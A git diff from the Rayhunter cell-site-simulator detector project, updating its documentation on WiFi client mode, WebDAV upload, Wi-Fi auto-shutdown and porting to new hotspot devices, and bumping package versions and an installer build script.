- [Supported devices](./supported-devices.md)
|
||||
- [Porting to new devices](./porting.md)
|
||||
- [Orbic/Kajeet RC400L](./orbic.md)
|
||||
- [TP-Link M7350](./tplink-m7350.md)
|
||||
- [TP-Link M7310](./tplink-m7310.md)
|
||||
|
||||
@@ -13,7 +13,7 @@ Through web UI you can set:
|
||||
- *High visibility (full screen color)*: fills the entire screen with the status color (green for recording, red for warnings, white for paused).
|
||||
- **Device Input Mode**, which defines behavior of built-in power button of the device. *Device Input Mode* could be:
|
||||
- *Disable button control*: built-in power button of the device is not used by Rayhunter.
|
||||
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristics is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
|
||||
- *Double-tap power button to start new recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristics is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
|
||||
- **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
|
||||
- **ntfy URL**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
|
||||
- **Enabled Notification Types** allows enabling or disabling the following types of notifications:
|
||||
@@ -21,4 +21,69 @@ Through web UI you can set:
|
||||
- *Low Battery*, which will alert when the device's battery is low. Notifications may not be supported for all devices—you can check if your device is supported by looking at whether the battery level indicator is functioning on the System Information section of the Rayhunter UI.
|
||||
- With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behavior in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so a new release may reduce false positives in existing heuristics as well.
|
||||
|
||||
## WiFi Client Mode
|
||||
|
||||
On the **Orbic**, **Moxee**, **UZ801**, **TMOHS1**, and **Wingtech**, Rayhunter can connect the device to an existing WiFi network while keeping the hotspot running. This gives the device internet access for [notifications](https://docs.ntfy.sh/) and lets you reach the web UI from any device on that network.
|
||||
|
||||
- **Enable WiFi** turns WiFi client mode on or off. Disabling it does not erase saved credentials.
|
||||
- **Scan** searches for nearby networks. Select one from the dropdown, or type an SSID manually.
|
||||
- **Password** is required for WPA/WPA2 networks. The password is stored separately from `config.toml` (in `wpa_sta.conf` on the device) and is never exposed through the API.
|
||||
- **DNS Servers** lets you override the DNS servers used when connected. Defaults to `9.9.9.9` and `149.112.112.112` (Quad9) if not set.
|
||||
|
||||
After saving, the connection status will show **connecting**, **connected** (with the assigned IP address), or **failed** (with an error message). If the connection fails, check that the SSID and password are correct and that the network is in range.
|
||||
|
||||
### Crash Recovery
|
||||
|
||||
The WiFi kernel module (`wlan.ko`) can occasionally crash or unload, taking both the hotspot and client interfaces down with it. Rayhunter includes a watchdog that detects this and automatically reloads the module, restarts the hotspot, and reconnects to the configured network. During recovery the WiFi status will show **recovering**.
|
||||
|
||||
On the first detection of a crash, a diagnostic snapshot is saved to `/data/rayhunter/crash-logs/` on the device. You can pull these logs with `adb pull /data/rayhunter/crash-logs/` and inspect them to understand what went wrong. Each log contains:
|
||||
|
||||
- **dmesg** output (kernel messages). Look for backtraces, `BUG:`/`Oops:` lines, or `wlan`/`wcnss` errors. The kernel ring buffer is small and gets overwritten quickly, so crash details may already be gone if the crash happened well before detection.
|
||||
- **/proc/modules** snapshot. If `wlan` is absent, the module fully unloaded. If present but interfaces are gone, the driver is stuck.
|
||||
- **ip addr** output confirming which network interfaces existed at snapshot time.
|
||||
- **ps** output showing which WiFi-related processes (`hostapd`, `wpa_supplicant`, `wland`) were still running.
|
||||
|
||||
If recovery fails after 5 attempts, the status will change to **failed**. A reboot of the device will reset WiFi.
|
||||
|
||||
You can also configure WiFi during installation:
|
||||
|
||||
```sh
|
||||
./installer orbic --admin-password 'mypassword' --wifi-ssid 'MyNetwork' --wifi-password 'networkpass'
|
||||
```
|
||||
|
||||
## WebDAV Upload
|
||||
|
||||
Rayhunter can automatically upload finished recordings to a WebDAV server. When a `[webdav]` section is present in `config.toml`, a background worker periodically scans the recording store and uploads any closed entry that is older than `min_age_secs`. Each eligible entry uploads two files: the raw `.qmdl` capture and its `.ndjson` analysis output. After a successful upload the entry is either marked as uploaded in the manifest (and skipped on subsequent polls), or deleted locally if `delete_on_upload = true`. With no `[webdav]` section, no upload worker runs.
|
||||
|
||||
WebDAV upload is currently configurable only by editing `config.toml` — there is no web UI control for it yet.
|
||||
|
||||
| Key | Required | Default | Description |
|
||||
| --- | --- | --- | --- |
|
||||
| `url` | yes | — | WebDAV server base URL, e.g. `https://example.com/remote.php/files/user/rayhunter/` |
|
||||
| `username` | no | — | HTTP Basic auth username |
|
||||
| `password` | no | — | HTTP Basic auth password |
|
||||
| `upload_timeout_secs` | no | `300` | Timeout (seconds) for each upload request |
|
||||
| `poll_interval_secs` | no | `3600` | How often (seconds) the worker scans for eligible entries |
|
||||
| `min_age_secs` | no | `86400` | Minimum age (seconds) an entry must have before it becomes eligible for upload |
|
||||
| `delete_on_upload` | no | `false` | Delete the entry locally after a successful upload |
|
||||
|
||||
Example:
|
||||
|
||||
```toml
|
||||
[webdav]
|
||||
url = "https://dav.example.com/rayhunter/"
|
||||
username = "user"
|
||||
password = "pass"
|
||||
upload_timeout_secs = 300
|
||||
poll_interval_secs = 3600
|
||||
min_age_secs = 86400
|
||||
delete_on_upload = false
|
||||
```
|
||||
|
||||
A few notes on behavior:
|
||||
|
||||
- **Auth:** HTTP Basic. Supplying a `password` without a `username` is rejected — the request is sent unauthenticated and a warning is logged.
|
||||
- **Retries and overwrites:** each entry's two files (`.qmdl` and `.ndjson`) must both upload successfully before the entry is marked as uploaded in the manifest. If one upload fails, the entry stays unmarked and both files are retried on the next poll — the one that previously succeeded will be overwritten on the server. Once an entry is marked as uploaded, Rayhunter will not upload it again.
|
||||
- **Currently-recording entry:** the active recording is never uploaded; only closed entries are eligible.
|
||||
|
||||
If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
|
||||
|
||||
BIN
doc/ct2mhs01-wifi-standby.png
Normal file
BIN
doc/ct2mhs01-wifi-standby.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 39 KiB |
14
doc/faq.md
14
doc/faq.md
@@ -22,6 +22,12 @@ Please note that this file may contain sensitive information such as your IMSI a
|
||||
|
||||
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear which devices are locked nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices. So far most verizon branded orbic devices we have encountered are actually unlocked.
|
||||
|
||||
### I can't reach my Rayhunter's web UI after leaving it alone for a while
|
||||
|
||||
Some hotspots (notably the T-Mobile TMOHS1 and Wingtech CT2MHS01) shut down their Wi-Fi access point after about 10 minutes with no connected clients to save battery. Rayhunter is still recording in the background, but you won't be able to reach the web UI until you power cycle the device or reconnect a client while Wi-Fi is still up.
|
||||
|
||||
To avoid this, set Wi-Fi Standby to "Always on" in the hotspot's native admin UI. See [TMOHS1](./tmobile-tmohs1.md#wi-fi-auto-shutdown) or [CT2MHS01](./wingtech-ct2mhs01.md#wi-fi-auto-shutdown) for step-by-step instructions.
|
||||
|
||||
### How do I re-enable USB tethering after installing Rayhunter?
|
||||
|
||||
If you have installed with `./installer orbic-usb`, you might find that USB
|
||||
@@ -50,6 +56,14 @@ reboot
|
||||
See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.
|
||||
|
||||
|
||||
### How do I connect my device to an existing WiFi network?
|
||||
|
||||
The Orbic, Moxee, UZ801, and TMOHS1 can connect to a nearby WiFi network while still running their own hotspot. This gives the device internet access for ntfy notifications and lets you reach the web UI from your home network. See [WiFi Client Mode](./configuration.md#wifi-client-mode) in the configuration guide for setup instructions.
|
||||
|
||||
### WiFi client mode is connected but I can't reach the internet
|
||||
|
||||
Check that the **DNS Servers** field in the config has valid entries (the default is `9.9.9.9` and `149.112.112.112`). If your home network and the device hotspot use the same subnet (for example, both are on `192.168.1.x`), try restarting the daemon by saving the config again from the web UI.
|
||||
|
||||
### How do I disable the WiFi hotspot on the Orbic RC400L?
|
||||
|
||||
To disable both WiFi bands, [first obtain a shell](./orbic.md#shell), then:
|
||||
|
||||
@@ -76,3 +76,19 @@ Note though that we can't assist with any issues setting ADB up, _especially
|
||||
not_ on Windows. There have been too many driver issues to make this the
|
||||
"golden path" for most users or contributors. There have been instances where
|
||||
people managed to brick their orbic devices using ADB on Windows.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
You may need to turn off your VPN in order to load the frontend succesfully - even with local network sharing enabled, VPNs can interfere with the connection to the backend.
|
||||
|
||||
Specifically for WSL users:
|
||||
|
||||
- The HyperV firewall also tends to interfere with the connection between frontend and backend. You can turn it off in your WSL settings.
|
||||
|
||||
- WSL2 has a known compatibility issue which may prevent vite from detecting file system changes and therefore affects HMR (hot module replacement).
|
||||
If your hot reloading does not work, some have success using polling to detect changes. To do so, specify the following setting in vite.config.ts:
|
||||
```ts
|
||||
server: {
|
||||
watch: { usePolling: true }
|
||||
}
|
||||
```
|
||||
10
doc/moxee.md
10
doc/moxee.md
@@ -5,15 +5,7 @@ Supported in Rayhunter since version 0.6.0.
|
||||
The Moxee Hotspot is a device very similar to the Orbic RC400L. It seems to be
|
||||
primarily for the US market.
|
||||
|
||||
<div class="warning-box">
|
||||
|
||||
**WARNING: These devices are known to become completely bricked by installing Rayhunter.**
|
||||
|
||||
Do not buy this device nor try to install _nor upgrade_ Rayhunter on it.
|
||||
|
||||
We're still trying to figure out what's wrong in [this discussion](https://github.com/EFForg/rayhunter/issues/865).
|
||||
|
||||
</div>
|
||||
**These devices have relatively little storage. The Orbic is usually a better alternative, though might be more expensive.**
|
||||
|
||||
- [KonnectONE product page](https://www.konnectone.com/specs-hotspot)
|
||||
- [Moxee product page](https://www.moxee.com/hotspot)
|
||||
|
||||
@@ -22,6 +22,10 @@ pay more than 30 USD for such a device (without shipping).
|
||||
| Wifi 5Ghz | a/ac/ax |
|
||||
| Wifi 6 | 🮱 |
|
||||
|
||||
## WiFi client mode
|
||||
|
||||
The Orbic's QCA6174 radio supports running the hotspot and connecting to an external WiFi network at the same time. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for setup.
|
||||
|
||||
## Two kinds of installers
|
||||
|
||||
The orbic's installation routine underwent many different changes:
|
||||
|
||||
88
doc/porting.md
Normal file
88
doc/porting.md
Normal file
@@ -0,0 +1,88 @@
|
||||
# Porting to new devices
|
||||
|
||||
## When will we consider new devices?
|
||||
|
||||
Rayhunter is already officially supported on [several devices](./supported-devices.md), and people are often interested in adding support for hardware they already own. Here's a non-exhaustive list of situations where we'd consider adding a new Tier 2 device:
|
||||
|
||||
* The device is significantly cheaper or more available in a specific region than any device we already support.
|
||||
* The device supports 5G and costs less than 100 USD.
|
||||
* You're willing to commit to supporting this device and handling bug reports.
|
||||
* The device has support for all cellular bands and can work in any country.
|
||||
|
||||
We want to avoid a situation where the list of supported devices keeps growing but the number of recurring contributors and maintainers stays the same.
|
||||
|
||||
That said, you can always maintain a fork, or install Rayhunter manually without writing an installer. You can promote this work in the [GitHub discussions](https://github.com/EFForg/rayhunter/discussions) area, where most new hardware investigations happen.
|
||||
|
||||
Please don't open issues about supporting a new device, use GitHub discussions instead. Most hardware investigations end up being abandoned, and the amount of issues we'd have to triage would be too much.
|
||||
|
||||
## Prerequisites: root shell, and /dev/diag
|
||||
|
||||
Rayhunter is a Linux binary that reads traffic from the Qualcomm diagnostic interface, which requires root. If either of those isn't available, Rayhunter can't work. Everything else (displays, buttons) is secondary, and we can deal with it later.
|
||||
|
||||
In the devices we currently support `/dev/diag` is the interface for Qualcomm diagnostics and devices with this will be easiest to support. Newer Qualcomm modems expose the diagnostic interface over a USB gadget which is something we are working on support for, but do not currently have. Thus devices with the former diagnostic interface will be easier to port Rayhunter to.
|
||||
|
||||
You can check ahead of purchase whether `/dev/diag` is available by ensuring the device has a Qualcomm MDM* chip. Other Qualcomm LTE chips might work but we haven't encountered one yet. Typically you will be able to get this information from [fcc.report](https://fcc.report), where either the chip is written down in some PDF or at least plainly visible in one of the teardown photos. Sometimes this information can also be found through teardown videos on YouTube. If you find that chip, there's a good chance (but no guarantee) `/dev/diag` is available.
|
||||
|
||||
Any vendor other than Qualcomm (Mediatek, Rockchip, ...) is unlikely to work. Quectel sometimes repackages Qualcomm chips into larger systems and might work. Huawei devices won't work, as they use their own chips.
|
||||
|
||||
Getting a root shell varies from device to device. Check the [GitHub discussions](https://github.com/EFForg/rayhunter/discussions) for prior art, and look through the installer source in `installer/src/` for inspiration. These approaches are common:
|
||||
|
||||
* Connecting with `adb shell`.
|
||||
* If `adb shell` doesn't work, sending a special USB serial command might enable it.
|
||||
* Sometimes there's an unpatched CVE that can be used to launch `telnetd` as root (search "device name CVE", the website [opencve.io](https://opencve.io) is particularly easy to use).
|
||||
|
||||
Once you have a root shell, check that `/dev/diag` exists.
|
||||
|
||||
## Installing Rayhunter manually
|
||||
|
||||
The Rayhunter installation consists of just two components: the `rayhunter-daemon` binary, and the config file (`config.toml`).
|
||||
|
||||
Typically the layout on the filesystem will look like this:
|
||||
|
||||
```text
|
||||
/data/rayhunter/rayhunter-daemon
|
||||
/data/rayhunter/config.toml
|
||||
/data/rayhunter/qmdl/
|
||||
```
|
||||
|
||||
Then, `./rayhunter-daemon config.toml` can be started manually.
|
||||
|
||||
You can refer to [Installing from source](./installing-from-source.md) for how to obtain the `rayhunter-daemon` binary.
|
||||
|
||||
We're assuming that your device is ARMv7, i.e. 32-bit ARM (`armv7-unknown-linux-musleabihf`). If that's not the case, you can still build the daemon but you'll need to figure out the correct target triple on your own.
|
||||
|
||||
You can copy the daemon and config files to the device using `netcat` or `adb push`. They don't have to be in `/data/rayhunter/`, this is just convention. If you use a different path, be sure to update the `qmdl_store_path` setting in `config.toml`.
|
||||
|
||||
The `device` setting in `config.toml` must match one of the lowercase variant names from the `Device` enum (e.g. `"orbic"`, `"tplink"`). This controls which display driver is used.
|
||||
|
||||
Setting `debug_mode = true` in `config.toml` runs the daemon without `/dev/diag`, so you can test the display and web UI without the hardware.
|
||||
|
||||
### Autostart
|
||||
|
||||
To make Rayhunter start on boot, you'll need an init script. The existing installers use the template at `dist/scripts/rayhunter_daemon`, which has a `#RAYHUNTER-PRESTART` placeholder that gets replaced with device-specific setup commands (e.g. killing a vendor UI process, mounting an SD card). Look at how the existing installers handle this in their `install()` functions.
|
||||
|
||||
## Display support
|
||||
|
||||
The `device` setting [mentioned above](#installing-rayhunter-manually) also controls which display driver is loaded (see [`Device` enum in `lib/src/lib.rs`](https://github.com/EFForg/rayhunter/blob/main/lib/src/lib.rs)). Unless your device is a variant of an existing device, you'll want to add a new variant to the `Device` enum and write a corresponding display module in `daemon/src/display/`.
|
||||
|
||||
You can play around with the existing values of the `device` setting to see which one ends up rendering on your device's display. Most likely your device has a display similar enough to an existing one, and the display module for that device (e.g. `daemon/src/display/orbic.rs`, `daemon/src/display/tplink.rs`) can be used as a starting point.
|
||||
|
||||
If your device has LEDs instead of a display, take a look at `daemon/src/display/uz801.rs` which controls LEDs via sysfs.
|
||||
|
||||
## Button support
|
||||
|
||||
Rayhunter can use the power button to restart recordings via a double-tap gesture. The implementation is in [`daemon/src/key_input.rs`](https://github.com/EFForg/rayhunter/blob/main/daemon/src/key_input.rs). It currently has no structure for device-specific implementations, as all devices we support expose the same input event interface.
|
||||
|
||||
The `key_input_mode` setting in `config.toml` controls this feature (`0` = disabled, `1` = double-tap power button to start/stop recordings).
|
||||
|
||||
## Writing the installer, and contributing official support
|
||||
|
||||
At this point you'll want to have figured out how to automate the entire installation in principle, and how to make it as repeatable as possible. A proof-of-concept of this in bash or another language is also a welcome contribution (to be posted on [GitHub discussions](https://github.com/EFForg/rayhunter/discussions), not as a PR).
|
||||
|
||||
Writing the installer means adding a new variant to the `Command` enum in [`installer/src/lib.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/lib.rs) and implementing the install logic in a new module under `installer/src/`. Each subcommand maps to a device-specific entry point function (e.g. `tplink::main_tplink`, `orbic_network::install`).
|
||||
|
||||
The installer gets the daemon binary path from `env!("FILE_RAYHUNTER_DAEMON")`, which is set at build time. Config installation is handled by the shared `install_config()` helper in the `connection` module, which writes the config file with the correct device name.
|
||||
|
||||
You must also add a shell utility subcommand under `installer util` (the `UtilSubCommand` enum in `installer/src/lib.rs`), e.g. `installer util tplink-shell`, `installer util orbic-shell`. This is required -- without it, users and developers have no way to interactively debug the device. Depending on connectivity, this might be a telnet session, an ADB shell, or a serial connection. Other utilities (file transfer helpers, etc.) are optional but encouraged. See the existing `UtilSubCommand` variants for examples.
|
||||
|
||||
Please reuse existing utilities wherever possible. Take a look at [`installer/src/tplink.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/tplink.rs) and [`installer/src/orbic_network.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/orbic_network.rs) for inspiration. But the structures there are still evolving, and we'll happily guide you during code review.
|
||||
@@ -30,4 +30,4 @@ Rayhunter is confirmed to work on these devices.
|
||||
## Adding new devices
|
||||
Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.
|
||||
|
||||
If you have a device in mind which you'd like Rayhunter to support, please [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!
|
||||
If you have a device in mind which you'd like Rayhunter to support, please read the [porting guide](./porting.md) and [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!
|
||||
|
||||
@@ -36,6 +36,10 @@ According to FCC ID 2APXW-TMOHS1 Test Report No. I20Z61602-WMD02 ([part 1](https
|
||||
| 66 | 1700 MHz (E-AWS) |
|
||||
| 71 | 600 MHz (USDD) |
|
||||
|
||||
## WiFi client mode
|
||||
|
||||
The TMOHS1 supports WiFi client mode, allowing Rayhunter to connect to an existing WiFi network while keeping the hotspot running. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for setup.
|
||||
|
||||
## Installing
|
||||
Connect to the TMOHS1's network over WiFi or USB tethering.
|
||||
|
||||
@@ -55,6 +59,21 @@ Then run the installer:
|
||||
| Paused | WiFi LED blinks white. |
|
||||
| Warning Detected | Signal LED slowly blinks red. |
|
||||
|
||||
## Wi-Fi auto-shutdown
|
||||
|
||||
By default the TMOHS1 turns off its Wi-Fi access point after 10 minutes with no connected clients. Rayhunter keeps recording on the device in the background, but once the access point is down you can't reach the web UI, download captures, or see new warnings until you power cycle the hotspot.
|
||||
|
||||
The TMOHS1's native admin UI lets you change this:
|
||||
|
||||
1. Connect to the TMOHS1's Wi-Fi (or USB tether).
|
||||
2. In a browser open `http://192.168.0.1/` and log in with the admin password.
|
||||
3. Go to **Settings** → **Sleep** → **Wi-Fi Standby** and pick **Always on**.
|
||||
4. Click **Apply**.
|
||||
|
||||

|
||||
|
||||
Keeping Wi-Fi always on uses more battery. If you only monitor Rayhunter through the device's LEDs and don't need remote access, the default 10-minute timer is fine.
|
||||
|
||||
## Obtaining a shell
|
||||
Even when rayhunter is running, for security reasons the TMOHS1 will not have telnet or adb enabled during normal operation.
|
||||
|
||||
|
||||
BIN
doc/tmohs1-wifi-standby.png
Normal file
BIN
doc/tmohs1-wifi-standby.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 74 KiB |
@@ -18,7 +18,8 @@ The TP-Link M7350 supports many more frequency bands than Orbic and therefore wo
|
||||
|
||||
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
||||
|
||||
* `1.0`, `2.0`: **Not supported**, devs are not able to obtain a device
|
||||
* `1.0`, Confirmed working. Successfully tested by a user with the Windows installer (rayhunter-v0.10.2-windows-x86_64). Ensure the SD card is formatted as FAT32 before installation.
|
||||
* `2.0`: **Not supported**, devs are not able to obtain a device
|
||||
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: **Tested, no known issues since 0.3.0.**
|
||||
* `6.2`: **One user reported it is working, not tested**
|
||||
* `4.0`: **Manual firmware downgrade required** ([issue](https://github.com/EFForg/rayhunter/issues/332))
|
||||
|
||||
@@ -19,6 +19,8 @@ You can access this UI in one of two ways:
|
||||
On the **Orbic**, you can find the WiFi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
||||
On the **TP-Link**, you can find the WiFi network password by going to the TP-Link's menu > Advanced > Wireless > Basic Settings.
|
||||
|
||||
If [WiFi client mode](./configuration.md#wifi-client-mode) is enabled, you can also reach the web UI from any device on that network at `http://<device-ip>:8080`.
|
||||
|
||||
* **Connect over USB (Orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit <http://localhost:8080>.
|
||||
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
|
||||
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
|
||||
|
||||
@@ -36,6 +36,12 @@ With the device fully booted (i.e. beaming a WiFi network, blue LED, etc.) and p
|
||||
|
||||
Note: The default IP for UZ801 is typically `192.168.100.1`; if yours differs, use the `--admin-ip` argument to specify it.
|
||||
|
||||
## WiFi client mode
|
||||
|
||||
The UZ801's WCN36xx (PRONTO) radio supports concurrent AP+STA mode. The daemon has backend support for WiFi client mode on the UZ801, but this has not yet been successfully exercised end-to-end and the web UI currently does not expose the configuration surface on this device. Treat UZ801 WiFi client mode as not yet supported. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for the intended setup on supported devices.
|
||||
|
||||
The interface creation method differs from the Orbic (which uses `iw`): the UZ801 creates a P2P_CLIENT virtual interface via nl80211 and converts it to a managed STATION interface. This is handled by the daemon when the feature is enabled.
|
||||
|
||||
## LED modes
|
||||
| Rayhunter state | LED indicator |
|
||||
| ---------------- | ------------------- |
|
||||
|
||||
@@ -28,6 +28,10 @@ Wingtechs are abundant on ebay and can also be found on Amazon:
|
||||
- <https://www.ebay.com/itm/127147132518>
|
||||
- <https://www.amazon.com/AT-Turbo-Hotspot-256-Black/dp/B09YWLXVWT>
|
||||
|
||||
## WiFi client mode
|
||||
|
||||
The Wingtech supports WiFi client mode, allowing Rayhunter to connect to an existing WiFi network while keeping the hotspot running. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for setup.
|
||||
|
||||
## Installing
|
||||
Connect to the Wingtech's network over WiFi or USB tethering, then run the installer:
|
||||
|
||||
@@ -50,6 +54,21 @@ telnet 192.168.1.1
|
||||
adb shell
|
||||
```
|
||||
|
||||
## Wi-Fi auto-shutdown
|
||||
|
||||
By default the CT2MHS01 turns off its Wi-Fi access point after the configured sleep timer (default 10 minutes) with no connected clients. Rayhunter keeps recording on the device in the background, but once the access point is down you can't reach the web UI, download captures, or see new warnings until you power cycle the hotspot.
|
||||
|
||||
The CT2MHS01's native admin UI lets you change this:
|
||||
|
||||
1. Connect to the Wingtech's Wi-Fi (or USB tether).
|
||||
2. In a browser open `http://192.168.1.1/` and log in with the admin password.
|
||||
3. Go to **Settings** → **Sleep** → **Wi-Fi Standby** and pick **Always on**.
|
||||
4. Click **Save**.
|
||||
|
||||

|
||||
|
||||
Keeping Wi-Fi always on uses more battery. If you primarily monitor Rayhunter through the device's screen and don't need remote access, leave the timer at its default.
|
||||
|
||||
## Developing
|
||||
The device has a framebuffer-driven screen at /dev/fb0 that behaves
|
||||
similarly to the Orbic RC400L, although the userspace program
|
||||
|
||||
2406
installer-gui/package-lock.json
generated
2406
installer-gui/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -16,27 +16,27 @@
|
||||
"tauri": "tauri"
|
||||
},
|
||||
"dependencies": {
|
||||
"@tailwindcss/vite": "^4.1.16",
|
||||
"@tailwindcss/vite": "^4.2.2",
|
||||
"@tauri-apps/api": "^2",
|
||||
"@tauri-apps/plugin-opener": "^2",
|
||||
"tailwindcss": "^4.1.16"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@eslint/js": "^9.38.0",
|
||||
"@eslint/js": "^10.0.1",
|
||||
"@sveltejs/adapter-static": "^3.0.6",
|
||||
"@sveltejs/kit": "^2.53.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^5.0.0",
|
||||
"@sveltejs/kit": "^2.57.1",
|
||||
"@sveltejs/vite-plugin-svelte": "^7.0.0",
|
||||
"@tauri-apps/cli": "^2",
|
||||
"eslint": "^9.38.0",
|
||||
"eslint": "^10.2.1",
|
||||
"eslint-config-prettier": "^10.1.8",
|
||||
"eslint-plugin-svelte": "^3.13.0",
|
||||
"globals": "^16.4.0",
|
||||
"prettier": "^3.6.2",
|
||||
"prettier-plugin-svelte": "^3.4.0",
|
||||
"svelte": "^5.53.0",
|
||||
"svelte-check": "^4.0.0",
|
||||
"typescript": "~5.6.2",
|
||||
"typescript-eslint": "^8.46.2",
|
||||
"vite": "^6.0.3"
|
||||
"eslint-plugin-svelte": "^3.17.0",
|
||||
"globals": "^17.5.0",
|
||||
"prettier": "^3.8.3",
|
||||
"prettier-plugin-svelte": "^3.5.1",
|
||||
"svelte": "^5.55.4",
|
||||
"svelte-check": "^4.4.6",
|
||||
"typescript": "~6.0.3",
|
||||
"typescript-eslint": "^8.58.2",
|
||||
"vite": "^8.0.9"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "installer-gui"
|
||||
version = "0.10.2"
|
||||
version = "0.11.0"
|
||||
edition = "2024"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "installer"
|
||||
version = "0.10.2"
|
||||
version = "0.11.0"
|
||||
edition = "2024"
|
||||
|
||||
[lib]
|
||||
@@ -28,7 +28,7 @@ nusb = "0.1.13"
|
||||
reqwest = { version = "0.12.15", features = ["json"], default-features = false }
|
||||
serde = { version = "1.0.219", features = ["derive"] }
|
||||
sha2 = "0.10.8"
|
||||
tokio = { version = "1.44.2", features = ["io-util", "macros", "rt"], default-features = false }
|
||||
tokio = { version = "1.44.2", features = ["io-util", "io-std", "macros", "rt"], default-features = false }
|
||||
tokio-retry2 = "0.5.7"
|
||||
tokio-stream = "0.1.17"
|
||||
futures = "0.3"
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
use std::path::Path;
|
||||
use std::process::exit;
|
||||
|
||||
fn main() {
|
||||
println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN");
|
||||
println!("cargo::rerun-if-env-changed=FIRMWARE_PROFILE");
|
||||
let profile = std::env::var("FIRMWARE_PROFILE").unwrap_or_else(|_| {
|
||||
// Default to firmware-devel for debug builds, firmware for release builds
|
||||
@@ -17,28 +15,28 @@ fn main() {
|
||||
.join(&profile);
|
||||
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
|
||||
set_binary_var(&include_dir, "FILE_RAYHUNTER_DAEMON", "rayhunter-daemon");
|
||||
|
||||
let wpa_dir = Path::new(env!("CARGO_MANIFEST_DIR")).join("../tools/build-wpa-supplicant/out");
|
||||
set_binary_var(&wpa_dir, "FILE_WPA_SUPPLICANT", "wpa_supplicant");
|
||||
set_binary_var(&wpa_dir, "FILE_WPA_CLI", "wpa_cli");
|
||||
set_binary_var(&wpa_dir, "FILE_IW", "iw");
|
||||
}
|
||||
|
||||
fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
|
||||
println!("cargo::rerun-if-env-changed={var}");
|
||||
if std::env::var_os("NO_FIRMWARE_BIN").is_some() {
|
||||
let out_dir = std::env::var("OUT_DIR").unwrap();
|
||||
std::fs::create_dir_all(&out_dir).unwrap();
|
||||
let blank = Path::new(&out_dir).join("blank");
|
||||
std::fs::write(&blank, []).unwrap();
|
||||
println!("cargo::rustc-env={var}={}", blank.display());
|
||||
if std::env::var_os(var).is_some() {
|
||||
return;
|
||||
}
|
||||
if std::env::var_os(var).is_none() {
|
||||
let binary = include_dir.join(file);
|
||||
println!("cargo::rerun-if-changed={}", binary.display());
|
||||
if !binary.exists() {
|
||||
println!(
|
||||
"cargo::error=Firmware binary {file} not present at {}",
|
||||
binary.display()
|
||||
);
|
||||
exit(0);
|
||||
}
|
||||
let binary = include_dir.join(file);
|
||||
println!("cargo::rerun-if-changed={}", binary.display());
|
||||
if binary.exists() {
|
||||
println!("cargo::rustc-env={var}={}", binary.display());
|
||||
} else {
|
||||
println!(
|
||||
"cargo::warning=Firmware binary {file} not present at {}; \
|
||||
installers that need it will fail",
|
||||
binary.display()
|
||||
);
|
||||
println!("cargo::rustc-env={var}=");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,6 +43,54 @@ pub async fn install_config<C: DeviceConnection>(
|
||||
Ok(())
|
||||
}
|
||||
|
||||
